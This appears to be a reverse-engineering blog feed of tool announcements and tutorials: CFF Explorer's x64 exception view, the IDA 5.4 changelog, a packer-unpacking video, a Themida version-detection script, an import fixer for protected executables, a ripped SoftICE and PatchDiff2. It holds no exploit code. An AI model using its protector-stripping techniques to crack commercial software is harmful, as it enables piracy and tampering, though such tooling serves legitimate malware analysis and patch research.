Yesterday I took a bit of time and updated the Explorer Suite. One important new feauture is the addition of the Exception Directory. I’m no longer working on the old CFF Explorer. However, I thought this feature was too important for people to wait for the new CFF Explorer. Here’s a screenshot of the Exception Directory UI:

x64

If you have no idea how the x64 Structured Exception Handling works, you can briefly read this article on osronline or my article about Vista x64. There’s also a pretty in depth quantity of information in a series of posts on Ken Johnson’s blog. However, don’t hope to find too much information on the web about the real physical layout of the Exception Directory. The MSDN information is incomplete if not wrong and even the SDK doesn’t help. This post isn’t a complete guide to x64 exceptions, I just want to explain how to analyze them inside the CFF Explorer.

In the screenshot above you can see two arrays of tables. The first one is an array of RUNTIME_FUNCTION structures. The last column isn’t part of this structure though: it shows the five high bits of the first byte of the UNWIND_INFO structure refrenced by the UnwindData member of RUNTIME_FUNCTION. This is the declaration of UNWIND_INFO:

typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
/* UNWIND_CODE MoreUnwindCode[((CountOfCodes + 1) & ~1) - 1];
* union {
* OPTIONAL ULONG ExceptionHandler;
* OPTIONAL ULONG FunctionEntry;
* };
* OPTIONAL ULONG ExceptionData[]; */
} UNWIND_INFO, *PUNWIND_INFO;

The flags represent the type of handlers. An exception flag represents __try/__except blocks, while the termination flag represents __try/__finally blocks.

The second is an array of scope records. An UNWIND_INFO can contain more than one scope records. Let’s consider this little code sample:

__try
{
__try
{
// code
}
__finally
{
// code
}

__try
{
// code
}
__finally
{
// code
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// code
}

As you can see from the screenshot, it results in 3 scope records. The HandlerAddress in a scope record structure can be an RVA to a C_exception_handler function. Or it can be a simple value like EXCEPTION_EXECUTE_HANDLER (which is 1). The last scope record represents the __except statement. Don’t confuse the exception handler (or filter) with its code.

The JumpTarget member, if not 0, is an RVA to the exception code. It’s possible to see if a particular address has an entry inside the Exception Directory by right clicking on the first table and then clicking ‘Is Address Handled’ in the pop-up menu. Nevertheless, remember that exception handlers can be added at runtime with APIs like RtlAddFunctionTable and RtlInstallFunctionTableCallback.

I fixed some minor bugs in the CFF Explorer and one major bug in the Task Explorer. I noticed this bug years ago but never took time to fix it. It showed only when trying to dump the region of an x86 process using the 64 bit version of the Task Explorer. However, x64 is becoming very used and so the bug is now fixed. Also, I thought it a good idea on 64-bit platforms to install a 32-bit version of the Task Explorer and a 64-bit one. Thus, the installer now behaves accordingly.

Author : Mr.Mouse and Watto

Computer games are vast and many, however most computer games have something in common – they need a place to store all their important files like images, movies, and sounds. To do this, computer game developers typically store their data into a big archive file.

There are many reasons for storing all your data files in one big archive, some reasons include reducing the number of files on a CD, hiding the data files to stop people hacking the game, and so that all data files can be accessed using a single data stream.

However, the bad news for gamers is that there are almost as many different archives as there are different computer games – every game developer creates their own archive formats, and they even change their formats between games or departments in the company.

This brings us to the focus of the tutorial – how to explore the archives and grab the files from within them. This tutorial will attempt to make it easy for anyone to explore a new format, with the aim of promoting game modifications and enhancements by the community.

In the following pages, we will discuss the terms Game Resource Archives (GRAs) and Game Resource Archive Formats (GRAFs), common data types, and other definitions. From there, we will explain the fundamentals of cracking a file format, including the tools you use, and the patterns to look out for.

Thanks for reading our guide; we wish you the best of luck in your exploration.

Download here : Definitive Guide To Exploring File Formats

TheMida – WinLicense Info Script, Show me the infos!

Author : LCF-AT

Hello together,

today I wanna share a new written script by me about to get some useful infos about TheMida / WinLicense protected targets.
-This script can get the exact version release year and the protection
-I also added to get the right section name,VA and name of the file summarized in nice message box for the user.
-Included diffrent search methods to get this informations for all TM / WL targets.Here a sample pic.

So then,I hope you like it.Try it and tell me if you get problems.

greetz

Download here (change to .rar):

themida____winlicense_info_scriptrar

I’m happy to inform you that we are entering the beta stage of IDA v5.4!

In addition to numerous small and not that small improvements, the new version will have hree debugger modules: bochs, gdb, and windbg, selectable on the fly (the active debugger session will be closed, though wink1.gif)

* With the bochs debugger, we offer three different worlds: run-any-code-snippet facility, windows-like-environment for PE files, and any-bochs-image bare-bone machine emulation mode. You can read more about this module in our blog: http://hexblog.com/2008/11/bochs_plugin_goes_alpha.html
* With gdb, x86 and arm targets are supported. Among other things, it is possible to connect IDA to QEMU or debug a virtual machine inside VMWare. We tried it iPhone as well. However, while it works in some curcimstances, there were some problems on the gdbserver side. With windbg, user and kernel mode debugging is available. The debugger engine from Microsoft, which is currently the only choice for driver and kernel mode debugging, can be used from IDA. It can automatically load required PDB files and populate the listing with meaningful names, types, etc. Speaking of PDB files, IDA imports more information from them: local function variables and types are retrieved too, c++ base classes are handled, etc.

The gdb and windbg debugger modules support local and remote debugging. We tried to make the debugger modules as open as possible: target-specific commands can be sent to all backend engines in a very easy and user-friendly way.

As usual, better analysis and many minor changes have been made. If you spend plenty of time analyzing gcc generated binaries, you’ll certainly appreciate that IDA handles its weird way of preparing outgoing function arguments. Now it can trace and find arguments copies to the stack with mov statements.

The new IDA will support Python out of box, thanks to Gergely Erdelyi, who kindly agreed the Python plugin to be included in the official distribution. In fact, the main IDA window will have a command line to enter any python (or other language) expressions and immediately get a result in the message window.

We will prepare the detailed list of improvements later this week.

http://hexblog.com/2009/01/ida_v54_release_is_not_that_fa.html

BitDiffer 1.3.0.13 – most cattle DLL Library comparison tool!

Ever wonder what really changed in that DLL you are about to release to production? Would you like to check a 3rd party library for breaking changes before referencing it? Would it be helpful to integrate an automatically generated change report – at the assembly binary level – in your deployment and migration process?

BitDiffer allows you to compare multiple versions of assemblies for all types of changes and drill down to find the smallest changes, public or private.

bit1

View changes in the GUI interface which highlights breaking changes and publicly visible changes. Browse through the grid of changes in order to quickly determine their impact, or export reports to keep a record.

You can compare implementation of methods and properties, not just the declarations. You can compare protected, internal and private items as well as just the exported public types.

BitDiffer will catalog and compare:

•Classes
•Interfaces
•Properties
•Fields
•Methods
•Attributes
•Events
•Assembly Attributes

Compare Across Time
bit2

You don’t have to be limited to comparing just two versions of assembly. You can also load up a series of versions and review them side-by-side to see how they all changed across time.

You can load assemblies with the strong name from different locations and compare across them.

You can compare entire directories of assemblies at once, to perform complete build comparisons in one click.

Command Line Support
bit3

Run BitDiffer as part of your automated build, deployment, or migration process and automate the process of generating change reports on the assemblies that you are handling.

Archive reports historically to have an accurate picture of what changed at the binary level in your assemblies as your deploy them. Generate high-level summary reports with breaking change information, or generate verbose reports with fine details of every aspect of your build.

You can perform these tasks using the built-in command line support of BitDiffer, which runs silently to easily integrate into your build or deployment process.

BitDiffer offers all these features and more.

Download here: http://rapidshare.com/files/188258249/BitDiffer_v1.3.0.13.rar

Datarescue IDA Pro v5.4.0.921 Released.

* Three new debuggers

We continue to add more debugger modules to IDA and improve the existing ones. This version introduces three new debuggers: bochs, gdb, and windbg.

Each of these debuggers deserve a separate article, so only the most interesting highlights here:
o Bochs: can run any 32bit code, from a few instructions to whole operating systems. Just click F9 and immediately switch to running state. In fact, any code snippet can be executed in a safe and user friendly way. With the bochs debugger, we offer three different worlds: run-any-code-snippet facility, windows-like-environment for PE files, and any-bochs-image bare-bone machine emulation mode. Please read more about Bochs plugin here: http://hexblog.com/2008/11/bochs_plugin_goes_alpha.html

o GDBServer: x86 and arm targets are supported. Among other things, it is possible to connect IDA to QEMU or debug a virtual machine using VMWare.

o Windbg: both user and kernel mode debugging are available. IDA can automatically load required PDB files and populate the listing with meaningful names, types, etc. Speaking of PDB files, IDA imports more information from them: local function variables and types are retrieved too, c++ base classes are handled, etc.

The GDBServer and Windbg debugger modules support local and remote debugging. We tried to make the debugger modules as open as possible: target-specific commands can be sent to all backend engines very easyly.

* Better analysis

IDA understands GNU-style function arguments (when they are moved onto the stack instead of being pushed). Analysis is more efficient in general and does does fall into the instruction creation/deletion loop. Many FLAIR signatures have been updated and new ones added.

* Command line

The command line was present in IDA since very long time but it was not turned on by default. This version activates it and empowers it with the following interpreters:

IDC native IDA language (we added support for global variables)
Bochs to send arbitrary commands to the Bochs debugger
GDBServer to control GDBServer targets
Windbg to access Windbg extensions and kernel information
Python to program IDA in the popular language

The new IDA supports Python out of box, thanks to Gergely Erdelyi, who kindly agreed the Python plugin to be included in the official distribution.

PROCESSOR MODULES

+ PC: added new instructions (AMD SSE4a, Geode LX, XSAVE/XRSTOR, Intel SMX, AMD-V, Intel AES and some others)
+ PC: added support for GNU C++ style of preparing function arguments (moving to stack instead of pushing)
+ PC: added support for Intel’s SSE4.1 and SSE4.2 instructions
+ PC: added support for non-M*cro$oft (Linux/OSX/etc) AMD64 calling convention
+ PC: EH_epilog function is recognized and taken into account in the analysis
+ PC: improved handling of linux syscalls: check os/abi field of elf files to distinguish linux files from other openbsd files
+ PC: slightly better function prolog analysis
+ PC: “xmmword” is used for 16-byte operands instead of “oword”
+ ALPHA: better analyzis of Windows NT PE files
+ ARM: added a processor option to disable detection of BL instructions used for long jumps in Thumb code.
+ ARM: added UND pseudo-instruction for the permanently undefined opcode ranges
+ ARM: improved calculation of the size of some jump tables
+ ARM: user can specify whether a Thumb BL instruction is a call or a jump (Edit/Other/Force BL…)
+ C166: bit references to data items of enum type use symbolic constants for bit numbers (ida displays myword.mybit instead of myword.5)
+ IA64: improved analysis
+ PPC: suppport for GCC jump table switch
+ TMS320C6x: added support for 64xx and 67xx instructions

FILE FORMATS

+ COFF: arm/thumb switcher symbols ($CODE16/$CODE32) are recognized and properly handled
+ ELF: added support for a few new HP 64bit relocation types; 64-bit hppa processing is slightly better
+ ELF: added support for some IA64 relocations
+ PDB: added import of c++ base classes and unnamed-tag types; some udt types were imported incorrectly
+ PDB: additional PDB files can be loaded for DLL files. For that, the “File/Load PDB” command or the popup menu of the Debugger Module Window can be used
+ PDB: local variable names and types, static data names are imported into the database
+ PDB: public names starting with __imp__ are converted to dwords
+ PE: IDA does not load discardable segments anymore
+ PE: IDA recognizes the DriverEntry() function prototype
+ PE: IDA parses .pdata segment
+ PE: added support for PE files with 0 sections

KERNEL

+ signatures: MS SDK and Visual Studio signatures have been updated
+ signatures: ICL v11.0.066 has been added
+ signatures: added BDS2008 signatures
+ “unload database to idc” exports all segment register change points, not only user defined ones
+ __thiscall functions without any arguments are forbidden; while they do not make much sense, ida permits such declarations
+ alignment pragmas are printed as part of structure declarations (before they were printed as comments)
+ grouped all MS Windows window messages in til files into one big enumeration
+ FLAIR: added support for TMS470 COFF files (used by ARM compilers)
+ idc scripts can be executed from the startup signatures. IDA defines some helper functions for this context. Hopefully this feature will allow us to stop using the ‘main hints’ that are used by startup signatures and switch to nice IDC scripts

IDC & SDK

+ SDK: ida generates pre-action events before modifying the database (please note not all modification have corresponding events because any plugin may modify the database on a very low level)
+ SDK: introduced command line interpreters. any plugin may introduce a CLI and the user may switch between them on the fly
+ SDK: added manual memory regions for the debugger module that can not report the memory layout. the user can specify the desired memory layout on the fly
+ SDK: add_chooser_command() is supported in the text version
+ SDK: added callbacks to modify graphs displayed by ida and to display graphs without functions; sample plugins ugraph2/3 illustrate how to use the new functions
+ SDK: added check_bpt() to check the state of a breakpoint
+ SDK: added convenience functions to pack data into bytevec_t
+ SDK: added create_disasm_graph() function
+ SDK: added create_generic_linput() to create inputs from any source
+ SDK: added DBG_FLAG_SMALLBLKS for debugger modules that usually work on slow connections
+ SDK: added debugger_t::set_dbg_options() for debugger specific options
+ SDK: added functions to access IDS files
+ SDK: added functions to work with intervals
+ SDK: added get_dbg_byte() to read data from the debugged process memory
+ SDK: added get_debmod_extensions() to debugger module interface; it can be used by debugger modules to publish additional functionality
+ SDK: added get_nsec_stamp() to get high precision time stamps
+ SDK: added inf.database_change_count. this field is incremented each time a byte is patched or regular segment information is changed (essentially it tracks ‘real’ program modifications)
+ SDK: added segment base and bitness information to memory_info_t and changed the prototype of get_memory_info in debugger_t; this is an incompatible change, the source code of existing debugger modules must be changed; however, existing debugger modules can be used without recompilation, the kernel will use the correct interface depending on the debugger api version number
+ SDK: added set_process_state() to manually modify the process state from a plugin
+ SDK: added extlang.fileext and convenience functions to work with extlang
+ SDK: colons can be used in form input field labels by escaping them with backslashes.
+ SDK: forms: new field types: F for folder names and f for file names
+ SDK: get_db_byte() to read byte from database / patch_db_byte() to write byte to process memory only
+ SDK: is_valid_typename() to check type names. IDA permits characters encountered in c++ template names in type names.
+ SDK: new flag for debugger modules: DBG_FLAG_DONT_DISTURB. Debugger modules with this flag can not carry out any actions once the application is let to run. They can only wait for the next event or suspend the application.
+ SDK: renamed ua_ana0 -> decode_insn(); ua_code -> create_insn()
+ SDK: Run() function can be used to execute not only compiled functions but also built-in functions and functions defined by plugins
+ SDK: added DBG_FLAG_CLEAN_EXIT to the debugger description: it forces IDA to remove breakpoints before terminating the application. This flag is useful for the platforms where processes share memory
+ IDC: added support for global variables. they are declared like this: extern var;
+ IDC: added CheckBpt() to check the state of a breakpoint
+ IDC: added GetFchunkReferer() to enumerate parents of a function chunk
+ IDC: added SetArrayFormat() to specify exact representation for an array in the output listing
+ IDC: IdbByte() to read byte from database / PatchDbgByte() to write byte to process memory only
+ IDC: replaced SegReg() by SetRegEx()
+ IDC: added IDC functions for ARM: ArmForceBLJump(), ArmForceBLCall()

USER INTERFACE

+ gui: command line at the bottom of the main ida window is displayed by default. it can process commands for any registered command line interpreter
+ ui: ‘G’ hotkey can used to move to the desired offset within the current type in the structure and enum views
+ ui: a reference to a structure type in data items (like myvar mystruct ) can be used to rename/jump to the structure type
+ ui: display problematic type sizes in the local types window as “Error”
+ ui: it is possible to rename a structure field staying on a reference to a stack variable of a structure type. For example, [ebp+StartupInfo.dwFlags] can be used to rename “dwFlags”
+ ui: jumping to a structure type definition positions the cursor at the beginning of the definition
+ ui: text mode: added TVHEADLESS environment to disable all output
+ gui: added an option to disable hints when the debugger is active
+ gui: added CLOSED_BY_ESC config parameter to specify which windows can be closed by pressing Esc
+ gui: added convenience menu item to save bytes from hex view to a file
+ gui: message window supports copy/delete on single lines as well as saving output to a file
+ gui: added horizontal scrollbar to the log window

DEBUGGER

+ debugger: added Bochs debugger back-end. It can execute any code snippet with a single click
+ debugger: added GDBServer debugger back-end. ARM and x86 targets are supported.
+ debugger: added Windbg debugger back-end. Both user and kernel mode debugging are supported.
+ debugger: added support for segment (16-bit) debugging (the debugger module must provide the map_address() function; this function can map seg:off pairs to linear addresses)
+ debugger: added an option to autoload PDB files
+ debugger: added the notion of the default debugger, which is autoselected by ida for new databases
+ debugger: right-clicking on the process list refreshes it
+ debugger: stack reconstruction is turned off by default

BUGFIXES

BUGFIX: ‘load desktop’ was displaying wrong desktop list and could restore some desktops only partially; for example, it would not restore register views if the debugger was not active
BUGFIX: ‘search for immediate’ command could cause an internal error
BUGFIX: “search for immediate value” could return wrong addresses
BUGFIX: “unload file” command would not generate Patches() function but reference to it
BUGFIX: (arm) BLX Rx is a call, not a jump
BUGFIX: (PE) properly parse fixups of type HIGHADJ (improves analyzis of Alpha PE files)
BUGFIX: .net: pinned elements were not detected
BUGFIX: .net: sometimes the ‘case’ keyword was missing
BUGFIX: __usercall prototypes were impossible for processors that does not implement the processor_t::get_reg_name callback
BUGFIX: a local structure type could be referenced by name in the result of guess_tinfo(). this could lead to problems later, if the referenced structure was renamed
BUGFIX: a patched a byte in the middle of a data array would not be reflected in the listing until the array was recreated
BUGFIX: a structure member, which is a pointer to a function with some of the argument names specified and some not, would be incorrectly converted into a type string
BUGFIX: a.out: debugging stabs were used as symbol values and errorneous symbols hampered the analysis
BUGFIX: adding a software breakpoints at address 0 would make the whole listing red
BUGFIX: ADSP processor module could not decode references to dmovlay/pmovlay registers
BUGFIX: arm debugger was incorrectly handling the ‘step over’ command for some BX/BL instructions (it was assuming that they always return to the next instruction)
BUGFIX: arm module could not create some macroinstructions and would leave the code undefined
BUGFIX: arm: some undefined instructions were improperly decoded
BUGFIX: arm: Thumb-2 LDR instructions with long offsets were disassembled incorrectly
BUGFIX: automatic comments were displayed as garbage by generate_disasm_line()
BUGFIX: b2a32() was printing binary numbers without leading zeroes
BUGFIX: C preprocessor could not handle token gluing if the first glued token was a number
BUGFIX: changing the type of a structure member would not lead to reanalysis (required for the creation/deletion of xrefs from offset members)
BUGFIX: cli: ida64 was incorrectly displaying 64bit immediate constants in instructions
BUGFIX: command line arguments were passed incorrectly to the debugger application under WinCE
BUGFIX: debugger modules for the arm processor could miscalculate the target address of jump instructions and lose control of debugged application
BUGFIX: debugger modules for the arm processor improperly handled stepping over a return with ThumbARM mode switch e.g. stepping at LDMFD SP!, {R7,PC} could put breakpoint in wrong place if the popped PC had low bit set.
BUGFIX: deleting a structure type that was referenced from the disassembly could lead to division by zero
BUGFIX: edit segment dialog box: if new segment boundaries were not overlapping with the old segment boundaries and the new segment addresses were higher, ida would crash
BUGFIX: enum width was incorrect in the “edit enum” dialog box
BUGFIX: epoc debugger could not handle breakpoints correctly if we attach to a process and do not suspend it at least once
BUGFIX: function prolog analysis had a logical bug (affects results very rarely)
BUGFIX: gui: the current identifier was not always highlighted if the listing was scrolled to the right
BUGFIX: handling of elf ppc relocation record R_PPC_EMB_SDA21 was not always correct (it seems to be interpreted differently in different files?!)
BUGFIX: hex-view could stop reacting to navigation hotkeys after a while
BUGFIX: hppa: ida was trying to continue to decode instructions after some conditional instructions with ‘always’ as the condition (movib, cmpib, …)
BUGFIX: IDA could corrupt its state file (in ~/.idapro) under linux/mac if multiple instances were launched simultaneously
BUGFIX: IDA could crash on some .net files (because of too long user-defined strings)
BUGFIX: IDA could hang trying to load empty files for remote debugging
BUGFIX: IDC: substr() function with wrong parameters could crash
BUGFIX: identifier highlight would be unset after dragging a graph the second time
BUGFIX: if the debugger that was selected in a previous session was not available anymore, the debugger menu would be absent and the user could not switch to another debugger module
BUGFIX: if the single step exception was masked from the application, stepping over an instruction that itself would generate a single step exception would let the application run freely
BUGFIX: in some very rare cases the same very long name could be used for multiple locations (btree search failure)
BUGFIX: in txt-ui when input filename exceed visible limit and filename does not contain any path’s (e.g. library module) ida crash by null-pointer dereference
BUGFIX: interr could occur if a switch idiom without an input register was manually specified
BUGFIX: linux-tvision: buffer overflow when 2 unrecognized esc-sequence are received from the keyboard
BUGFIX: list windows were displayed incorrectly on dual monitor systems if the second monitor was on the left
BUGFIX: Mac OS X version of ida could not be run on older systems because of libiconv incompatiblity
BUGFIX: Mach-O: don’t skip loading of sections which lie ouside of segment’s boundaries (apparently OSX loader accepts such files)
BUGFIX: modification of a structure member type was not generating idb_event::ti_changed event; it had to generate it
BUGFIX: nagivation band could not represent the memory correctly if the address space was bigger than 2GBs
BUGFIX: one line hints were truncated
BUGFIX: opcode bytes were not visible for tms320c6 listings
BUGFIX: PC: fixed decoding of movhpd and movlpd instructions (operand size modifiers were wrong)
BUGFIX: pc: function arguments in partial registers (like al/ah) were not properly handled at the call sites
BUGFIX: pc: IDA was considering “lock cmpxchg” as an insane instruction
BUGFIX: pc: some linux syscalls had wrong prototypes
BUGFIX: ppc: in some case analyzer could enter an infinite loop
BUGFIX: pro.h could not be compiled with visual studio c++ v6.0
BUGFIX: sdk: removed a reference to unexisting function named intseq_t::del()
BUGFIX: some equal type were considered incompatible
BUGFIX: some IA64 auto comments were wrong
BUGFIX: some mach-o files could lead to internal error
BUGFIX: sparc relocations were not parsed in a.out files under MS Windows
BUGFIX: the debugger was not refreshing segmentation information properly after system calls like VirtualAlloc
BUGFIX: the error message about database open errors was incorrect
BUGFIX: the last decoded instruction was not always refreshed after suspending the debugged process
BUGFIX: TMS320C6x coff object files were loaded with insufficient alignment (must be at least 32 bytes to ensure correct execution packet boundaries)
BUGFIX: tricore memory addressing modes with displacement could be displayed incorrectly
BUGFIX: txt: deleting a menu item that was the last selected one would lead to a crash when the user tried to open the menu once more
BUGFIX: txt: warning() and info() dialog boxes could truncate the message by making the dialog box too small
BUGFIX: uiswitch plugin could randomly crash before displaying a dialog box
BUGFIX: user-defined menu items with printable hotkeys were interfering with the built-in notepad
BUGFIX: viewer_set_titlebar_height() was broken
BUGFIX: wince debugger could hide the process pages that were not yet present in the memory but would be loaded upon a page fault
BUGFIX: PIC: numbers with leading zeroes were displayed with too many leading zeroes
BUGFIX: ad218x: some ALU/MAC instructions were dissasembled incorrectly
BUGFIX: text version could momentarily display some garbage characters at the start
BUGFIX: the cursor was not positioned on the last selected xref in xref selection dialog box; this happened if the address was present multiple times in the list

29/01/2009
http://hex-rays.com/idapro/54/index.htm

[ARTUT] Unpacking 4 Simple Packers with IDA Videotut, by TiGa

Hi all,
this is a quite complex/long video tutorial (12Mb). In my opinion it is a must, to really learn how to use the debugger functionality that IDA offers. It’s interface is quite different, compare to OllyDbg, and somehow less intuitive IMHO, but not less powerfull (for some aspects IDA Debugger is absolutely the best in class). It’s just the matter of getting used to it, surely!

In this video tutorial TiGa explains how to unpack a program, packed with four different simple packers (UPX, ASPack, FSG, Escargot), all the times using IDA Interactive Disassembler Pro. The package includes all the required things to replicate the experience: scripts, programs either packed or unpacked.

I thing you’ll enjoy it and possibly will learn how to use IDA even on its debugger side.

Unpacking 4 Simple Packers with IDA Videotut by TiGa

Take it here:
http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_Tutorials/&file=Unpacking_4_Simple_Packers_with_IDA_Videotut_by_TiGa.rar

SoftICE 4.3.2.1 (Lite Edition)

Posted: February 3, 2009 in RE Tools
Tags:

SoftICE 4.3.2.1 (Lite Edition)

From nanobit: This version of ripped SoftICE works fine on my WindowXP (SP3).I have found it on some Russian / Chinese website (I don’t remember).
just wanted to share it with you.

Download here:

http://rapidshare.com/files/191458352/SICE_4321_LiTE.zip

Thanx nanobit for contributing!

FileAlyzer 1.6.0.4

Posted: February 3, 2009 in FileAlyzer 1.6.0.4, RE Tools

FileAlyzer 1.6.0.4

FileAlyzer is a tool to analyze files – the name itself was initially just a typo of FileAnalyzer, but after a few days I decided to keep it. FileAlyzer allows a basic analysis of files (showing file properties and file contents in hex dump form) and is able to interpret common file contents like resources structures (like text, graphics, HTML, media and PE).

Using FileAlyzer is as simple as viewing the regular properties of a file – just right-click the file you want to analyze and choose Open in FileAlyzer.

Updates

* 1.6.0.4 (August 6th, 2008) Restored support for files > 4 GB (displayed file size; hex viewers are disabled for now), Added UPX header information tab
* 1.5.5 (June 8th, 2007) New hex view, improved Authenticode display, support for more archive types (rar, nsis, etc.), Works with Windows Vista.
* 1.4 (December 13th, 2005) New version with included ACL editing and plaintext display, search results cleanup with Del key.
* 1.2 rel 3 (July 8th, 2005) Maintenance release including more translations.
* 1.2 rel 2 (June 2005) Maintenance release including more translations.
* 1.2 (March 4th, 2005) CHM contents listing, PE signature scanning, multiple small fixes.
* 1.1i ADS support, display of file security settings.
* 1.1h (September 25th, 2003) improved resourses display, ID3v2 support, cab support, load speedup.
* 1.1g (September 8th, 2003) small fixes, file extensions specified in external file.
* 1.1f (August 12th, 2003) added window size/position saved, DFM decompression, UPX decompression, ELF (linux binary) analysis, export of resources, syntax highlighting for text preview.
* 1.1e (July 29th, 2003) added colored hex dump, hex dump display of resources, multi-lingual version info display, section panel bar.
* 1.1d (July 5th, 2003) added display of import/export tables and creation of text format reports.
* 1.1c improves translation and adds dynamix hex dump width as well as string recognition.
* 1.1b added Setup menu and new languages
* 1.1 added text table (CSV) and database (dBase) format.

file1

Download here :

http://www.safer-networking.org/files/filealyz.exe

Regards
m4n0w4r

ResEdit 1.4.4.16

Posted: February 3, 2009 in RE Tools, ResEdit 1.4.4.16
Tags:

ResEdit 1.4.4.16

ResEdit is a free Resource Editor for Win32 programs. You can use it if you want to use dialogs, icon, version information or other types of resources. Output files can be compiled by any Win32 compiler, like MinGW and Microsoft Visual C++. To open a file which uses Win32 API symbolic constants, you will also need Win32 header files (usually coming with you compiler).

If you don’t have any C++ compiler, you will need the Win32 headers (mainly windows.h and commctrl.h). You can download the Windows® Server 2003 SP1 Platform SDK to get these files.

Features:

- Importing most of the rc files generated by Microsoft Visual Studio resource editor. Some informations like macro definitions may then be lost while saving the project with ResEdit
- Advanced Dialog editor. All existing kind of Win32 controls are supported (Static text, Buttons, Edit controls, Pictures, …).
- A basic picture editor to open and modify bitmaps, icons and cursors
- Possibility to include all sort of resources.
- Generation of C++ code for the Dialogs (code with CreateWindowEx) and Menus (CreateMenu, CreatePopupMenu…). However it is not possible to import C++ sources files.
- Unlimited Undo/Redo buffers
- Customizable layout : you can drag and drop panels to place it wherever you want.

Download

The current version of ResEdit is 1.4.4.16.

* ANSI build (413 Ko) [Download] : http://www.resedit.net/ResEdit-ANSI.7z
* Unicode Build (418 Ko) [Download] : http://www.resedit.net/ResEdit-UNICODE.7z

ResEdit does not have any setup program, you just have to extract the files contained in the archive in the directory of your choice.

Universal Import Fixer (UIF) v1.2 (FINAL)

Use this tool for fixing Import Elimination, Directly Imports and Shuffled, Disordered, Scattered Imports.

So you can use this tool for changing IAT Base Address and Sorting IATs in New (other) Address.

Tested on:

Armadillo
ASProtect
Enigma
ExeCryptor
eXPressor
PeSpin
RlPack
VMProtect
TheMida
WinLicense

and any protector with Import Elimination, Directly Imports and Shuffled, Disordered, Scattered Imports.

Notes:
======
This tool is an Import Fixer (not Import Rebuilder ImpRec etc) and Just work in memory of target process (Just for 32 bit processes).
Always first use UIF then Dump target process.

UIF can fix actual APIs, dont use it for fixing Emulated/Redirected APIs to protector’s stub.you must use UIF After fixing Magic IAT jump (or use any methods) to convert Emulated/Redirected APIs to Actual APIs.

Samples:

Armadillo : Import Elimination
ASProtect : Directly Imports
Enigma : Shuffled, Disordered, Scattered Imports
ExeCryptor : Scattered Imports in Protector Stub
eXPressor : Directly Imports
PeSpin : Directly, Shuffled, Disordered, Scattered Imports
RlPack : Shuffled, Disordered, Scattered Imports
VMProtect : Directly Imports
TheMida : Directly Imports
WinLicense : Directly Imports

for Fast Speed:
===============
-After Click on you can Minimize UIF to the taskbar.
-Just enter Code section start and end (.text section etc).
-Dont check “Fix Directly Imports” if you dont need to it.

History:
========

Update (2008.12.31):
====================
+Code improved for better processing invalid ImageBase,ImageSize and invalid PE.
+Some small changes for more Compatibility/Stability.
-PSAPI library removed from UIF engine (shit library with many bugs).

v1.2 FINAL update (2008.06.15):
===============================
+Code Optimized again for better result.
+UIF.dll released (for using UIF in other applications).
Coded with pure Api,very fast and small size.

v1.2 FINAL update (2008.04.24):
===============================
+Fast Speed option added.

v1.2 FINAL (2008.04.19):
========================
+Now UIF can process Ring0 Hooked APIs (KAV,ZoneAlarm,… etc).
-Minor Bugs fixed.

v1.2 Stable (2008.04.04):
=========================
+Algorithm improved for Fast Speed.
-Option ‘Main exe Exports’ removed (now UIF can detect it automatically)
-Option ‘Fix NtDll to Kernel32′ removed (now UIF can detect it automatically)
-Minor Bugs fixed.

v1.0 Final+ (2008.03.21):
=========================
+Code Optimized for Fast Speed.
+Always OnTop Added.
+Tested again on many targets:
(TheMida,WinLicense,Armadillo,ASProtect,Enigma,eXPressor,PeSpin,…)
-Bug fixed in Fixing Directly Imports in Delphi,BCB,VC(MFC) Applications.

v1.0 Final update (2008.02.23):
===============================
+Algorithm improved for better fixing Directly imports.
+Show modules count and progress in StatusBar.
-GUI bug fixed on large fonts >=120 dpi.

v1.0 Final update (2008.01.15):
===============================
-Some small bugs fixed.
+Algorithm improved for very big IAT size.
+Auto fill improved for detecting dlls correctly.

v1.0 Public (2008.01.12):
=========================
First public release…

v1.0 Private (2005.02.23):
==========================
For personal use…

download (~190 kb) :

http://magic.shabgard.org/UIF.zip

teen

PatchDiff2 – A patch analysis plugin for IDA

News :
02/12/2009: PatchDiff 2.0.6 released:

* Switchs to graph call for checksum instead of instruction frequency
* Removes invalid C++ classes/structs flagged as functions

08/19/2008: PatchDiff 2.0.5 released:

* Adds string references to the signature
* Fixes IPC close when option is disabled

07/22/2008:PatchDiff 2.0.4 released:

* Requires at least IDA 5.2
* Adds save backup results to IDB
* Adds Unmatch/Set match/Switch match submenus
* Adds “pipe” support to keep second IDA instance open
o menu Options/PatchDiff2 to disable/enable it per IDB
o registry HKLM\SOFTWARE\Tenable\PatchDiff2 IPC (DWORD) for the default setting
* Uses demangled function names
* Ignores duplicated names

07/07/2008:PatchDiff 2.0.3 released:

* Adds support for C++ classes in the signature engine (improves results against c++ targets)
* No longer relies on IDA code refs (due to bad references)
* x86: merges inc reg and dec reg to one instruction
* x86: handles jmp $2/$5
* x86: stops block tracing on int3
* Bugfix: Does not try to display graphs that IDA can’t handle

07/02/2008:PatchDiff 2.0.2 released – now supports IDA 5.1 and 5.2
06/27/2008:PatchDiff 2.0.1 released

Description
PatchDiff2 is a plugin for the Windows version of the IDA dissassembler that can analyze two IDB files and find the differences between both. PatchDiff2 is free and fully integrates with the latest version of IDA (5.2).
The plugin can perform the following tasks :

* Display the list of identical functions
* Display the list of matched functions
* Display the list of unmatched functions (with the CRC)
* Display a flow graph for identical and matched functions

The main purpose of this plugin is to be fast and give accurate results when working on a security patch or a hotfix. Therefore this tool is not made to find similar functions between two different programs.
Patchdiff2 supports all processors that IDA can handle and is available in two versions: 32 bit and a 64 bit.

patchdiff2 is freely distributed to the community by Tenable Network Security in the hope it will be useful to you and help research engineers to better analyze different patches. However, Tenable does not provide support for this tool and offers no garantee regarding its use or output. Please read the end-user license agreement before using this program.

Demo
patch

View here :

http://cgi.tenablesecurity.com/tenable/pdiff2.swf.html

How to use it
PatchDiff2 can be launched through the plugins menu or by the keyboard shortcut ‘CTRL+8′. When the analysis is done, Identical, unmatched and matched functions are displayed in separate lists.
Flow graphs of matched and identical functions can be displayed by doing a rigth click on the given functions and by clicking on ‘Display graphs’.
Graph nodes can be synchronized by double clicking on a given node. Graphs use the following colors:

* white: identical nodes
* grey: unmatched nodes
* red: matched nodes
* tan: identical nodes (different crc)

Installation
